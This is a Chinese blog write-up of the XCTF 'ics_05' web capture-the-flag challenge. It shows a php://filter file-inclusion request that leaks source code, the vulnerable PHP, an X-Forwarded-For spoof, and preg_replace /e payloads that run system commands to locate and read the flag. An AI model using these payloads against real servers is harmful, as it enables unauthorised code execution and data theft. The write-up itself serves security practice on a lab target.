

# 攻防世界xctf web进阶ics\_05writeup

原创

qq\_43370221 于 2020-04-19 16:26:00 发布 207 收藏

文章标签: [安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/qq\\_43370221/article/details/105617221](https://blog.csdn.net/qq_43370221/article/details/105617221)

版权

## 文章目录

### isc\_05

[利用PHP伪协议来得到index.php的源码](#)

[利用 preg\\_replace漏洞](#)

[抓包改包&利用get来构造参数](#)

## isc\_05

检索网页 发现只有一个页面可以打开 发现了类似文件包含的url



可以猜测page是通过get传入了一个文件, 所以尝试文件包含。又因为index.php页面存在异常 所以尝试读入index.php

### 利用PHP伪协议来得到index.php的源码

#### php://filter 参数

名称	描述
<code>resource=&lt;要过滤的数据流&gt;</code>	这个参数是必须的。它指定了你要筛选过滤的数据流。
<code>read=&lt;读链的筛选列表&gt;</code>	该参数可选。可以设定一个或多个过滤器名称, 以管道符 ( _
<code>write=&lt;写链的筛选列表&gt;</code>	该参数可选。可以设定一个或多个过滤器名称, 以管道符 ( _
<code>&lt;; 两个链的筛选列表&gt;</code>	任何没有以 <code>read=</code> 或 <code>write=</code> 作前缀 的筛选器列表会视情况应用于读或写链。

<http://159.138.137.79:59858/index.php?page=php://filter/read=convert.base64-encode/resource=index.php>

读出了base64{index.php}的代码, 解码后:

```
<?php
```

```
error_reporting(0);

@session_start();
posix_setuid(1000);

?>
<!DOCTYPE HTML>
<html>

<head>
    <meta charset="utf-8">
    <meta name="renderer" content="webkit">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <link rel="stylesheet" href="layui/css/layui.css" media="all">
    <title>设备维护中心</title>
    <meta charset="utf-8">
</head>

<body>
    <ul class="layui-nav">
        <li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
    </ul>
    <fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
        <legend>设备列表</legend>
    </fieldset>
    <table class="layui-hide" id="test"></table>
    <script type="text/html" id="switchTpl">
        <!-- 这里的 checked 的状态只是演示 -->
        <input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkD
emo" {{ d.id==1 0003 ? 'checked' : '' }}>
    </script>
    <script src="layui/layui.js" charset="utf-8"></script>
    <script>
layui.use('table', function() {
    var table = layui.table,
        form = layui.form;

    table.render({
        elem: '#test',
        url: '/somrthing.json',
        cellMinWidth: 80,
        cols: [
            [
                { type: 'numbers' },
                { type: 'checkbox' },
                { field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
                { field: 'name', title: '设备名', templet: '#nameTpl' },
                { field: 'area', title: '区域' },
                { field: 'status', title: '维护状态', minWidth: 120, sort: true },
                { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
            ]
        ],
        page: true
    });
});
</script>
<script>
layui.use('element', function() {
```

```

    layui.use('element', function() {
        var element = layui.element; // 导航的hover效果、二级菜单等功能，需要依赖element模块
        // 监听导航点击
        element.on('nav(demo)', function(elem) {
            // console.log(elem)
            layer.msg(elem.text());
        });
    });
</script>

<?php

$page = $_GET[page];

if (isset($page)) {

if (ctype_alnum($page)) {
?>

<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />

<?php
}else{
?>

<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php

if (strpos($page, 'input') > 0) {
    die();
}

if (strpos($page, 'ta:text') > 0) {
    die();
}

if (strpos($page, 'text') > 0) {
    die();
}

if ($page === 'index.php') {
    die('Ok!');
}

include($page);
die();
?>

</p>
<br /><br /><br /><br />

<?php
}}

```

```
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }
}

?>

</body>

</html>
```

代码审计后看到了熟悉的xxf,所以第一步肯定是抓包改包模拟内部测试人员。

## 利用 preg\_replace漏洞

**preg\_replace:** (PHP 5.5)

**功能:** 函数执行一个正则表达式的搜索和替换

**定义:** `mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ] ] )`

搜索 **subject** 中匹配 **pattern** 的部分, 如果匹配成功以 **replacement** 进行替换

- **\$pattern** 存在 **/e** 模式修正符, 允许代码执行
- **/e** 模式修正符, 是 **preg\_replace()** 将 **\$replacement** 当做php代码来执行

## 抓包改包&利用get来构造参数

测试PHPinfo()

`http://159.138.137.79:59858/index.php?pat=/1/e&&rep=phpinfo()&&sub=1`

bp改包: `X-Forwarded-For: 127.0.0.1`

## 设备列表

ID	设备名	区域	维护状态	设备开...
----	-----	----	------	--------

Welcome My Admin !

PHP Version 5.5.9-1ubuntu4.22



System	Linux 2e085daf3104 5.3.0-26-generic #28~18.04.1-Ubuntu SMP Wed Dec 18 16:40:14 UTC 2019 x86_64
Build Date	Aug 4 2017 19:39:57
Server API	Apache 2.0 Handler
Virtual Directory Support	disabled
Configuration File (php.ini) Path	/etc/php5/apache2
Loaded Configuration File	/etc/php5/apache2/php.ini
Scan this dir for additional .ini files	/etc/php5/apache2/conf.d
Additional .ini files parsed	/etc/php5/apache2/conf.d/05-opcache.ini, /etc/php5/apache2/conf.d/10-pdo.ini, /etc/php5/apache2/conf.d/20-json.ini, /etc/php5/apache2/conf.d/20-mysql.ini, /etc/php5/apache2/conf.d/20-mysqli.ini, /etc/php5/apache2/conf.d/20-pdo_mysql.ini, /etc/php5/apache2/conf.d/20-pdo_pgsql.ini, /etc/php5/apache2/conf.d/20-pgsql.ini, /etc/php5/apache2/conf.d/20-readline.ini
PHP API	20121113
PHP Extension	20121212
Zend Extension	220121212
Zend Extension Build	API220121212,NTS
PHP Extension Build	API20121212,NTS
Debug Build	no
Thread Safety	disabled
Zend Signal	disabled

[https://blog.csdn.net/qq\\_43370221](https://blog.csdn.net/qq_43370221)

寻找flag: `(http://159.138.137.79:59858/index.php?pat=/1/e&&rep=system("find -name flag*")&&sub=1`

Welcome My Admin !

`./s3chahahaDir/flag ./s3chahahaDir/flag/flag.php`

发现了flag的PHP文件

通过 `http://159.138.137.79:59858/index.php?pat=/1/e&&rep=system("cat ./s3chahahaDir/flag/flag.php")&&sub=1` 得到flag

```
</script>
<br >Welcome My Admin ! <br ><?php
$flag = 'cyberpeace(dbd93ea3b2f65c3c39348fb84196eeda)';
?>
</body>
</html>
```